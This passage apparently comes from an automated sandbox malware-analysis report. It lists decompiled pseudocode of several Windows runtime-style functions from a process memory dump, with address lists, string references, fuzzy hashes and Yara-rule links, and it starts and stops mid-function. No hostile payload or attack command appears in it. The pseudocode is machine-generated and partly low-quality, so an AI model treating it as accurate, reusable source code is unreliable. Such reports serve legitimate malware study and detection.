										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E02D47D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E02DA7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E02DBFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x2e15350;
							if(_t109 != 0x2e15350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E02DBFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E02DB5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x02d22d8a
0x02d22d8a
0x02d22d92
0x02d22d96
0x02d22d9e
0x02d22da0
0x02d22da3
0x02d22da5
0x02d22da8
0x02d22dab
0x02d22db2
0x02d7f9aa
0x02d7f9ab
0x02d7f9ae
0x02d7f9ae
0x02d22db8
0x02d22dc2
0x02d7f9b9
0x02d7f9be
0x02d7f9bf
0x02d7f9bf
0x02d22dcf
0x02d7f9c9
0x02d22dd5
0x02d22dd5
0x02d22dd5
0x02d22dde
0x02d22de1
0x02d22e70
0x02d22e72
0x02d22e72
0x02d22de7
0x02d22deb
0x02d22e7c
0x02d22e83
0x02d22e85
0x02d22e8b
0x02d22e8d
0x02d22e92
0x02d22e92
0x02d22e85
0x02d22df1
0x02d22df7
0x02d22df9
0x02d22df9
0x02d22dfc
0x02d22dff
0x02d22e02
0x00000000
0x02d22e05
0x02d22e0c
0x02d7f9d9
0x02d22e12
0x02d22e12
0x02d22e12
0x02d22e1a
0x02d7f9e3
0x02d7f9e9
0x02d7f9f0
0x02d7f9f6
0x02d7f9f8
0x02d7f9f8
0x02d7f9f0
0x02d22e23
0x02d7fa02
0x02d7fa03
0x02d7fa05
0x02d7fa06
0x00000000
0x02d22e29
0x02d22e29
0x02d22e2e
0x02d22e34
0x02d22e3e
0x00000000
0x00000000
0x02d22e44
0x02d22e47
0x02d22e4d
0x00000000
0x00000000
0x02d22e4f
0x02d22e54
0x00000000
0x00000000
0x02d22e5a
0x02d22e5f
0x02d22e9a
0x02d22ea4
0x02d22ea5
0x02d22ea8
0x02d22eaf
0x02d22eb2
0x02d22eb5
0x02d7fae9
0x02d7faeb
0x02d7faed
0x02d7faef
0x02d7faf7
0x02d7faf8
0x02d7fafd
0x02d7faff
0x02d7fb04
0x02d7fb04
0x02d7faff
0x02d22ec0
0x02d22ec4
0x02d22ec6
0x02d22ec8
0x02d7fb14
0x02d7fb18
0x02d7fb1e
0x02d7fb21
0x02d7fb21
0x02d22ece
0x02d22ece
0x02d22ece
0x02d22ed7
0x02d22e61
0x02d22e63
0x02d7fa6b
0x02d7fa71
0x02d7fa76
0x02d7fa78
0x02d7fa8a
0x02d7fa7a
0x02d7fa83
0x02d7fa83
0x02d7fa8f
0x02d7fa91
0x02d7fa97
0x02d7fa9d
0x02d7faa4
0x02d7faaa
0x02d7faaf
0x02d7fab1
0x02d7fac3
0x02d7fab3
0x02d7fabc
0x02d7fabc
0x02d7fac8
0x02d7facb
0x02d7fadf
0x02d7fadf
0x02d7facb
0x02d7faa4
0x02d7fa91
0x02d22e6f
0x02d22e6f
0x02d22e5f
0x02d7fa13
0x02d7fa15
0x02d7fa17
0x02d7fa1f
0x02d7fa21
0x02d7fa22
0x02d7fa25
0x02d7fa28
0x02d7fa2f
0x02d7fa2f
0x02d7fa2a
0x02d7fa2a
0x02d7fa2a
0x02d7fa31
0x02d7fa34
0x02d7fa36
0x02d7fa3c
0x02d7fa3e
0x02d7fa41
0x02d7fa43
0x02d7fa45
0x02d7fa45
0x02d7fa41
0x02d7fa3c
0x02d7fa4a
0x02d7fa4f
0x02d7fa51
0x02d7fa53
0x02d7fa56
0x02d7fa5b
0x02d7fa5e
0x00000000
0x02d7fa5e
0x02d22e23

Strings

RTL: Re-Waiting, xrefs: 02D7FA4A

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: df20751ed92e58e5d7b2fbda6baf212d81103315cd1352ea81e96ed734521ee6
Instruction ID: 16c5bc8dbcd2b1266bb021043dac779632d0f2185ccbf84085bae9f95ad0837b
Opcode Fuzzy Hash: df20751ed92e58e5d7b2fbda6baf212d81103315cd1352ea81e96ed734521ee6
Instruction Fuzzy Hash: 5A614331A04214DFDB32DF68C888B7EB7A6EB44728F14066AE851977D0E738DD04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DF0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E02DF0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E02DEFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E02DF1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E02D69730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E02DEA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E02DEA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x2e18b04 >> 0x14) + (_v44 -  *0x2e18b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E02D47D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E02DE138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E02D47D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E02DDFEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x2e18724 & 0x00000008) != 0) {
						E02DE52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E02DF15B5(0x2e18ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x02df0eb7
0x02df0eb9
0x02df0ec0
0x02df0ec2
0x02df0ecd
0x02df105b
0x02df105b
0x02df1061
0x02df1066
0x02df1066
0x02df106b
0x02df1073
0x02df1073
0x02df0ed3
0x02df0ed6
0x02df0edc
0x02df0ee0
0x02df0ee7
0x02df0ef0
0x02df0ef5
0x02df0efa
0x02df0efc
0x02df0efd
0x02df0f03
0x02df0f04
0x02df0f06
0x02df0f07
0x02df0f09
0x02df0f0e
0x02df0f14
0x02df0f23
0x02df0f2d
0x02df0f34
0x02df0f34
0x02df0f14
0x02df0f52
0x00000000
0x00000000
0x02df0f58
0x02df0f73
0x02df0f74
0x02df0f79
0x02df0f7d
0x02df0f80
0x02df0f86
0x02df0fab
0x02df0fb5
0x02df0fc6
0x02df0fd1
0x02df0fe3
0x02df0fd3
0x02df0fdc
0x02df0fdc
0x02df0feb
0x02df1009
0x02df1009
0x02df1015
0x02df1027
0x02df1017
0x02df1020
0x02df1020
0x02df102f
0x02df103c
0x02df103c
0x02df1048
0x02df1050
0x02df1050
0x02df1055
0x00000000
0x02df1055
0x02df0f88
0x02df0f9e
0x02df0fa2
0x02df0fa9
0x00000000
0x00000000
0x00000000
0x02df0fa9
0x00000000

Strings

`, xrefs: 02DF0F16

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 0f3decbeb1710b07eeb135625396edf40e2957b726754565104e7b036a78e747
Instruction ID: f6e1b5b06e50264998255921704f5323919ca1ceb4f8277fb1d1eeefdcf51e01
Opcode Fuzzy Hash: 0f3decbeb1710b07eeb135625396edf40e2957b726754565104e7b036a78e747
Instruction Fuzzy Hash: FE518B702043829BD764DF28D980B1BB7E6EF84308F15096CFA9A97791D770EC05CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02D5F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E02D5F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E02D44120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E02D69830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E02D69990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E02D695D0();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0x2e1eb81a
							_t109 = L02D44620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x20002e1e
								E02D6F3E0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x20002e1e
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E02D695D0();
										L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x02d5f0d3
0x02d5f0d9
0x02d5f0e0
0x02d5f0e7
0x02d5f0f2
0x02d5f0f4
0x02d5f0f8
0x02d5f100
0x02d5f108
0x02d5f10d
0x02d5f115
0x02d5f116
0x02d5f11f
0x02d5f123
0x02d5f124
0x02d5f12c
0x02d5f130
0x02d5f134
0x02d5f13d
0x02d5f144
0x02d5f14b
0x02d5f152
0x02d9bab0
0x02d9bab0
0x02d5f158
0x02d5f158
0x02d5f15a
0x02d5f160
0x02d5f165
0x02d5f166
0x02d5f16f
0x02d5f173
0x02d9baa7
0x02d9baa7
0x02d9baab
0x00000000
0x02d5f179
0x02d5f179
0x02d5f18d
0x02d5f191
0x02d9baa2
0x00000000
0x02d5f197
0x02d5f19b
0x02d5f1a2
0x02d5f1a9
0x02d5f1af
0x02d5f1b2
0x02d5f1b6
0x02d5f1b9
0x02d5f1c0
0x02d5f1c4
0x02d5f1d8
0x02d5f1df
0x02d5f1e3
0x02d5f1e6
0x02d5f1eb
0x02d5f1ee
0x02d5f1f4
0x02d5f20f
0x02d9bab7
0x02d9babb
0x02d9bacc
0x02d9bad1
0x02d5f215
0x02d5f218
0x02d5f226
0x02d5f22b
0x00000000
0x02d5f22b
0x02d5f1f6
0x02d5f1f6
0x02d5f1f9
0x02d5f1fb
0x02d5f1fb
0x02d5f1f4
0x02d5f191
0x02d5f173
0x02d5f152
0x02d5f203

Strings

@, xrefs: 02D5F124

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: d3b5dfdce7fa0ce3d1549d96c02b76624e5a5a41a696a1dff8fbd650c0859fad
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 59516871504710AFC320DF29C840A6BBBE9FF48714F00892AFA95977A0E7B4ED04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DA3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E02DA3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x2e1d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E02D60BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E02DA3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E02D6FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E02DA3540;
						E02D6FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E02D7DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E02DB0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E02D697C0();
					}
					return E02D6B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E02DA3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E02DA3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E02D6FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E02D69650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E02DA3787(_a4,  &_v352, _t80);
						}
					}
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E02D695D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x02da3552
0x02da355a
0x02da355d
0x02da3566
0x02da3567
0x02da357e
0x02da358f
0x02da35a1
0x02da35a5
0x02da366b
0x02da366b
0x02da366d
0x02da3672
0x02da3679
0x02da3685
0x02da368d
0x02da369d
0x02da36a7
0x02da36b8
0x02da36c6
0x02da36c7
0x02da36dc
0x02da36e1
0x02da36e7
0x02da36e9
0x02da36e9
0x02da3703
0x02da3703
0x02da35b5
0x02da35c0
0x02da35c4
0x00000000
0x00000000
0x02da35ca
0x02da35d7
0x02da35e2
0x02da35e6
0x02da35e8
0x02da35f5
0x02da35fa
0x02da3603
0x02da3604
0x02da3609
0x02da360a
0x02da3612
0x02da3613
0x02da361e
0x02da3622
0x02da3628
0x02da362f
0x02da362f
0x02da3636
0x02da3638
0x02da363b
0x02da3642
0x02da3642
0x02da3636
0x02da3657
0x02da3657
0x02da365c
0x02da3662
0x02da3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 02DA358F

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryHash
API String ID: 2994545307-2202222882
Opcode ID: 321e66eacf0812b512b272ecabb3243e0f949d2c123e52d5bef46fdc367d7174
Instruction ID: fd56609cdaaf18c3c1b07b7abd65ed489f0a3c09d25c08e775fa7c37140de0a1
Opcode Fuzzy Hash: 321e66eacf0812b512b272ecabb3243e0f949d2c123e52d5bef46fdc367d7174
Instruction Fuzzy Hash: 3E4132B1D0056C9BDB619A54CC94FEEB77EEB44718F0045E5AA09AB350DB309E888FA4

Uniqueness

Uniqueness Score: -1.00%

Function 02DA3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E02DA3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E02D69650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L02D44620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E02D69650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x02da3893
0x02da3896
0x02da3899
0x02da389f
0x02da38a0
0x02da38a4
0x02da38a9
0x02da38ac
0x02da38ad
0x02da38ae
0x02da38af
0x02da38b1
0x02da38b4
0x02da38bb
0x02da38bc
0x02da38bd
0x02da38c4
0x02da38c8
0x02da38ca
0x02da38ca
0x02da38d5
0x02da393e
0x02da3940
0x02da3942
0x02da3952
0x02da3954
0x02da3961
0x02da3961
0x02da3967
0x02da396e
0x02da396e
0x02da3947
0x02da394c
0x00000000
0x02da394c
0x02da38ea
0x02da38ee
0x02da38f8
0x02da38f9
0x02da38ff
0x02da3900
0x02da3902
0x02da3903
0x02da390b
0x02da390f
0x02da3950
0x00000000
0x02da3950
0x02da3915
0x02da391d
0x02da391d
0x02da3922
0x02da3926
0x00000000
0x02da3928
0x02da392b
0x02da392b
0x02da3935
0x02da3937
0x02da3937
0x00000000
0x02da3935
0x02da3926
0x02da38f0
0x00000000

Strings

BinaryName, xrefs: 02DA38B4

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryName
API String ID: 2994545307-215506332
Opcode ID: d01d96754e3068f7c9df7a6eef418331aef3dd25e962636c3842e820793ee1aa
Instruction ID: b5eb67bef9f2a0845b0615f1abbcb698dc2a44de8ef244bd110648a0c7d5f4c0
Opcode Fuzzy Hash: d01d96754e3068f7c9df7a6eef418331aef3dd25e962636c3842e820793ee1aa
Instruction Fuzzy Hash: 9C31F132900609AFDB55DB58C965EBBF776FB80B24F0141A9ED04A7390D7309E04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D5D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E02D5D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x2e1d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E02D44120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E02D6B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E02D698D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E02D695D0();
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x02d5d29c
0x02d5d2a6
0x02d5d2b1
0x02d5d2b5
0x02d5d2b6
0x02d5d2bc
0x02d5d2bd
0x02d5d2be
0x02d5d2bf
0x02d5d2c2
0x02d5d2c4
0x02d5d2cc
0x02d5d384
0x02d5d34b
0x02d5d34f
0x02d5d350
0x02d5d351
0x02d5d35c
0x02d5d35c
0x02d5d2d6
0x02d5d2da
0x02d5d2e1
0x02d5d361
0x02d5d369
0x02d5d36d
0x02d5d2e3
0x02d5d2e3
0x02d5d2e3
0x02d5d2e5
0x02d5d2ed
0x02d5d2f5
0x02d5d2fa
0x02d5d302
0x02d5d303
0x02d5d30b
0x02d5d30f
0x02d5d313
0x02d5d318
0x02d5d31c
0x02d5d320
0x02d5d379
0x02d5d37d
0x00000000
0x00000000
0x02d9affe
0x02d9b001
0x02d9b011
0x00000000
0x02d5d322
0x02d5d322
0x02d5d330
0x02d5d337
0x02d5d35d
0x02d5d339
0x02d5d33f
0x02d5d38c
0x02d5d38c
0x02d5d33f
0x02d5d349
0x00000000
0x02d5d349

Strings

@, xrefs: 02D5D303

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 71efe20e65c8c1caa82fd11a6f422ce5e21cb4fce4015e90a44a373c2ddfcda1
Instruction ID: 01b2c2041437ac26a3a377b52501a27288e86289de3d706f53751688327db2a3
Opcode Fuzzy Hash: 71efe20e65c8c1caa82fd11a6f422ce5e21cb4fce4015e90a44a373c2ddfcda1
Instruction Fuzzy Hash: 1C31B1B25093559FDB10DF28C884A6BBBEAEB85754F00092EF9D493310D774DD08CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D31B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E02D31B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E02D6BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
